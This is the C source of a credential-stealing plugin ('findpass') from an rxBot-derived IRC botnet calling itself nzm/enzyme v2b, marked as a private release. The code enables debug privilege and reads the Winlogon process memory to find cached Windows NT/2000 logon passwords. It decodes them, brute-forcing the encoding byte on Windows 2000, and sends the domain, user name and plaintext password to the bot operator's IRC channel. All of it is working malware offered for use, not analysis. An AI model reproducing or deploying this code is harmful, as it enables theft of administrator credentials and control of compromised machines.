/*
 XXXXX   XXXXXX   XXXXXXX   XXX XXX XXXXXXX   XXXXX
XXX XXX  XXX XXX  XX  XXX   XXX XXX XXXXXXXX XXX XXX
XXXXXXX  XXX XXX     XXX    XXX XXX XXXXXXXX XXXXXXX
XXX      XXX XXX   XXX      XXX XXX XXXXXXXX XXX
XXX XXX  XXX XXX  XXX  XX    XXXXX  XXXXXXXX XXX XXX
 XXXXX   XXX XXX  XXXXXXX      XXX  XXX  XXX  XXXXX
                              XXX               .v2b
                           XXXXX
 ____________________
+ enzyme ..v2b       +
| nzm rxbot mod ..   |
| private release *  |
| 04.26.05	         |
+____________________+
		      ____________________
 		     + code from ..       +
		     | bcuzz              |
		     | stoney  		      |
		     | x-lock	          |
		     | ionix              |
		     | phatty		      |
		     | nesespray	      |
		     | rbot dev team 	  |
		     +____________________+
 ____________________
+ read ..            +
| the docs           |
| don't ..           |
| mass distribute    |
+____________________+

*/



#include "../../headers/includes.h"
#include "../../headers/functions.h"
#include "../../headers/externs.h"

/* FindPass decodes and displays administrator logon credentials from Winlogon
 in Win2000 / Winnt4 + < sp6. Windows 2000 and Windows NT administrator passwords
 are CACHED by WinLogon using the Microsoft Graphical Identification and Authentication
 (MSGINA.DLL) module. Written by ? , modded for rxBot by CryptoMeth. */

#ifndef NO_FINDPASS

// functions
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

// globals
DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];


DWORD WINAPI FindPassThread(LPVOID param)
{
	FINDPASS findpass = *((FINDPASS *)param);
	FINDPASS *findpasss = (FINDPASS *)param;
	findpasss->gotinfo = TRUE;

	char sendbuf[IRCLINE];

	DWORD dwOS = OSVersionCheck();
	if (dwOS == OS_WINNT || dwOS == OS_WIN2K) {
		if (AdjustPrivileges("SeDebugPrivilege", TRUE)) {
			HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
			pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)GetProcAddress
				(hNtDll,"NtQuerySystemInformation");
			pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)GetProcAddress
				(hNtDll,"RtlCreateQueryDebugBuffer");
			pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION)GetProcAddress
				(hNtDll,"RtlQueryProcessDebugInformation");
			pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER)GetProcAddress
				(hNtDll,"RtlDestroyQueryDebugBuffer");
			pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING)GetProcAddress
				(hNtDll,"RtlRunDecodeUnicodeString");

			DWORD WinLogonPID = FindWinLogon();
			if (WinLogonPID != 0) {
				GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
				GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);

				BOOL FoundPasswordPage = ((dwOS == OS_WINNT)?(LocatePasswordPageWinNT(WinLogonPID,&PasswordLength))
					:(LocatePasswordPageWin2K(WinLogonPID,&PasswordLength)));
				if (FoundPasswordPage) {
					if (PasswordLength == 0)
						_snprintf(sendbuf,sizeof(sendbuf),"nzm (findpass.plg) »»   The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/(no password)).",
							WinLogonPID,UserDomain,UserName);
					else
						sprintf(sendbuf,(dwOS == OS_WINNT)?(DisplayPasswordWinNT(WinLogonPID)):(DisplayPasswordWin2K(WinLogonPID)));
				} else
					sprintf(sendbuf,"nzm (findpass.plg) »»   Unable to find the password in memory.");
			} else
				sprintf(sendbuf,"nzm (findpass.plg) »»   Unable to find Winlogon Process ID.");

			AdjustPrivileges("SeDebugPrivilege", FALSE);
			FreeLibrary(hNtDll);
		} else
			sprintf(sendbuf, "nzm (findpass.plg) »»   Failed to enable Debug Privilege.");
	} else
		sprintf(sendbuf, "nzm (findpass.plg) »»   Only supported on Windows NT/2000.");

	if (!findpass.silent) irc_privmsg(findpass.sock,findpass.chan,sendbuf,findpass.notice);
	addlog(sendbuf);

	clearthread(findpass.threadnum);

	ExitThread(0);
}

DWORD FindWinLogon(void)
{
	DWORD rc = 0, SizeNeeded = 0;
	PVOID InfoP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,INITIAL_ALLOCATION);

	pfnNtQuerySystemInformation(0x10,InfoP,INITIAL_ALLOCATION,&SizeNeeded);
	HeapFree(GetProcessHeap(),0,InfoP);

	InfoP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,SizeNeeded);
	DWORD SizeWritten = SizeNeeded;
	if (pfnNtQuerySystemInformation(0x10,InfoP,SizeNeeded,&SizeWritten)) {
		HeapFree(GetProcessHeap(),0,InfoP);
		return (0);
	}

	DWORD NumHandles = SizeWritten / sizeof(QUERY_SYSTEM_INFORMATION);
	if (NumHandles == 0) {
		HeapFree(GetProcessHeap(),0,InfoP);
		return (0);
	}
	PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)InfoP;

	for (DWORD i = 1;i <= NumHandles;i++) {
		if (QuerySystemInformationP->HandleType == 5) {
			PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer(0,0);
			if (pfnRtlQueryProcessDebugInformation(QuerySystemInformationP->PID,1,DebugBufferP) == 0) {
				PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER)((DWORD)DebugBufferP + 0x60);
				DWORD Count = ProcessInfoHeaderP->Count;
				PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO)((DWORD)ProcessInfoHeaderP + sizeof(PROCESS_INFO_HEADER));
				if (strstr(_strupr(ProcessInfoP->Name), "WINLOGON") != 0) {
					DWORD dw = (DWORD)ProcessInfoP;
					for (DWORD j = 0;j < Count;j++) {
						dw += sizeof(PROCESS_INFO);
						ProcessInfoP = (PPROCESS_INFO)dw;
						if (strstr(_strupr(ProcessInfoP->Name), "NWGINA") != 0)
							return (0);
						if (strstr(_strupr(ProcessInfoP->Name), "MSGINA") == 0)
							rc = QuerySystemInformationP->PID;
					}
					if (DebugBufferP)
						pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
					HeapFree(GetProcessHeap(),0,InfoP);

					return (rc);
				}
			}
			if (DebugBufferP)
				pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
		}
		DWORD dw = (DWORD)QuerySystemInformationP;
		dw += sizeof(QUERY_SYSTEM_INFORMATION);
		QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)dw;
	}
	HeapFree(GetProcessHeap(),0,InfoP);

	return (rc);
}

BOOL LocatePasswordPageWinNT(DWORD WinLogonPID,PDWORD PasswordLength)
{
	BOOL rc = FALSE;
	HANDLE WinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,WinLogonPID);
	if (WinLogonHandle == 0)
		return (rc);
	*PasswordLength = 0;

	SYSTEM_INFO SystemInfo;
	GetSystemInfo(&SystemInfo);
	DWORD PEB = 0x7ffdf000;
	DWORD BytesCopied = 0;
	PVOID PEBP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,SystemInfo.dwPageSize);
	if (!ReadProcessMemory(WinLogonHandle,(PVOID)PEB,PEBP,SystemInfo.dwPageSize,&BytesCopied)) {
		CloseHandle(WinLogonHandle);
		return (rc);
	}

	PDWORD WinLogonHeap = (PDWORD)((DWORD)PEBP + (6 * sizeof(DWORD)));
	MEMORY_BASIC_INFORMATION MemoryBasicInformation;
	if (VirtualQueryEx(WinLogonHandle,(PVOID)*WinLogonHeap,&MemoryBasicInformation,sizeof(MEMORY_BASIC_INFORMATION)))
		if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) {
			PVOID WinLogonMemP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MemoryBasicInformation.RegionSize);
			if (ReadProcessMemory(WinLogonHandle,(PVOID)*WinLogonHeap,WinLogonMemP,MemoryBasicInformation.RegionSize,&BytesCopied)) {
				DWORD i = (DWORD)WinLogonMemP;
				DWORD UserNamePos = 0;

				do {
					if ((wcsicmp(UserName,(wchar_t *)i) == 0)
						&& (wcsicmp(UserDomain,(wchar_t *)(i + USER_DOMAIN_OFFSET_WINNT)) == 0)) {
						UserNamePos = i;
						break;
					}
					i += 2;
				} while (i < (DWORD)WinLogonMemP + MemoryBasicInformation.RegionSize);

				if (UserNamePos) {
					PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO)((DWORD)UserNamePos + USER_PASSWORD_OFFSET_WINNT);

					FILETIME LocalFileTime;
					SYSTEMTIME SystemTime;
					if (FileTimeToLocalFileTime(&EncodedPasswordInfoP->LoggedOn,&LocalFileTime))
						if (FileTimeToSystemTime(&LocalFileTime,&SystemTime))
							*PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof(wchar_t);

					HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
					RealPasswordP = (PVOID)(*WinLogonHeap + (UserNamePos - (DWORD)WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34);
					PasswordP = (PVOID)((PBYTE)(UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34));
					rc = TRUE;
				}
			}
		}
	HeapFree(GetProcessHeap(),0,PEBP);
	CloseHandle(WinLogonHandle);

	return (rc);
}

BOOL LocatePasswordPageWin2K(DWORD WinLogonPID, PDWORD PasswordLength)
{
	HANDLE WinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,WinLogonPID);
	if (WinLogonHandle == 0)
		return (FALSE);

	*PasswordLength = 0;
	SYSTEM_INFO SystemInfo;
	GetSystemInfo(&SystemInfo);
	DWORD i = (DWORD)SystemInfo.lpMinimumApplicationAddress;
	DWORD MaxMemory = (DWORD)SystemInfo.lpMaximumApplicationAddress;
	DWORD Increment = SystemInfo.dwPageSize;
	MEMORY_BASIC_INFORMATION MemoryBasicInformation;

	while (i < MaxMemory) {
		if (VirtualQueryEx(WinLogonHandle,(PVOID)i,&MemoryBasicInformation,sizeof(MEMORY_BASIC_INFORMATION))) {
			Increment = MemoryBasicInformation.RegionSize;
			if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
				&& ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) {
				PVOID RealStartingAddressP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MemoryBasicInformation.RegionSize);
				DWORD BytesCopied = 0;

				if (ReadProcessMemory(WinLogonHandle,(PVOID)i,RealStartingAddressP,MemoryBasicInformation.RegionSize,&BytesCopied)) {
					if ((wcsicmp((wchar_t *)RealStartingAddressP, UserName) == 0)
						&& (wcsicmp((wchar_t *)((DWORD)RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) {
						RealPasswordP = (PVOID)(i + USER_PASSWORD_OFFSET_WIN2K);
						PasswordP = (PVOID)((DWORD)RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);

						PBYTE p = (PBYTE)PasswordP;
						DWORD Loc = (DWORD)p;
						DWORD Len = 0;
						if ((*p == 0) && (* (PBYTE)((DWORD)p + 1) == 0));
						else
							do {
								Len++;
								Loc += 2;
								p = (PBYTE)Loc;
							} while (*p != 0);
						*PasswordLength = Len;
						CloseHandle(WinLogonHandle);

						return (TRUE);
					}
				}
				HeapFree(GetProcessHeap(),0,RealStartingAddressP);
			}
		} else
			Increment = SystemInfo.dwPageSize;

		i += Increment;
	}
	CloseHandle(WinLogonHandle);

	return (FALSE);
}

char *DisplayPasswordWinNT(DWORD WinLogonPID)
{
	static char buffer[IRCLINE];

	UNICODE_STRING EncodedString;
	EncodedString.Length = (WORD)PasswordLength * sizeof(wchar_t);
	EncodedString.MaximumLength = ((WORD)PasswordLength * sizeof(wchar_t)) + sizeof(wchar_t);
	EncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,EncodedString.MaximumLength);
	CopyMemory(EncodedString.Buffer,PasswordP,PasswordLength * sizeof(wchar_t));

	pfnRtlRunDecodeUnicodeString((BYTE)HashByte,&EncodedString);

	_snprintf(buffer,sizeof(buffer),"nzm (findpass.plg) »»   The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/%S).",
		WinLogonPID,UserDomain,UserName,EncodedString.Buffer);

	HeapFree(GetProcessHeap(),0,EncodedString.Buffer);

	return (buffer);
}

char *DisplayPasswordWin2K(DWORD WinLogonPID)
{
	static char buffer[IRCLINE];

	DWORD i, Hash = 0;
	UNICODE_STRING EncodedString;
	EncodedString.Length = (USHORT)PasswordLength * sizeof(wchar_t);
	EncodedString.MaximumLength = ((USHORT)PasswordLength * sizeof(wchar_t)) + sizeof(wchar_t);
	EncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,EncodedString.MaximumLength);

	for (i = 0;i <= 0xff;i++) {
		CopyMemory(EncodedString.Buffer, PasswordP, PasswordLength * sizeof(wchar_t));

		pfnRtlRunDecodeUnicodeString((BYTE)i,&EncodedString);

		PBYTE p = (PBYTE)EncodedString.Buffer;
		BOOL Viewable = TRUE;
		DWORD j, k;
		for (j = 0;(j < PasswordLength) && Viewable;j++) {
			if ((*p) && (*(PBYTE)(DWORD(p) + 1) == 0)) {
				if (*p < 0x20)
					Viewable = FALSE;
				if (*p > 0x7e)
					Viewable = FALSE;
			} else
				Viewable = FALSE;
			k = DWORD(p);
			k++;k++;
			p = (PBYTE)k;
		}
		if (Viewable)
			_snprintf(buffer,sizeof(buffer),"nzm (findpass.plg) »»   The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/%S).",
				WinLogonPID,UserDomain,UserName,EncodedString.Buffer);
		else
			_snprintf(buffer,sizeof(buffer),"nzm (findpass.plg) »»   The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/(N/A)).",
				WinLogonPID,UserDomain,UserName);
	}
	HeapFree(GetProcessHeap(),0,EncodedString.Buffer);

	return (buffer);
}
#endif
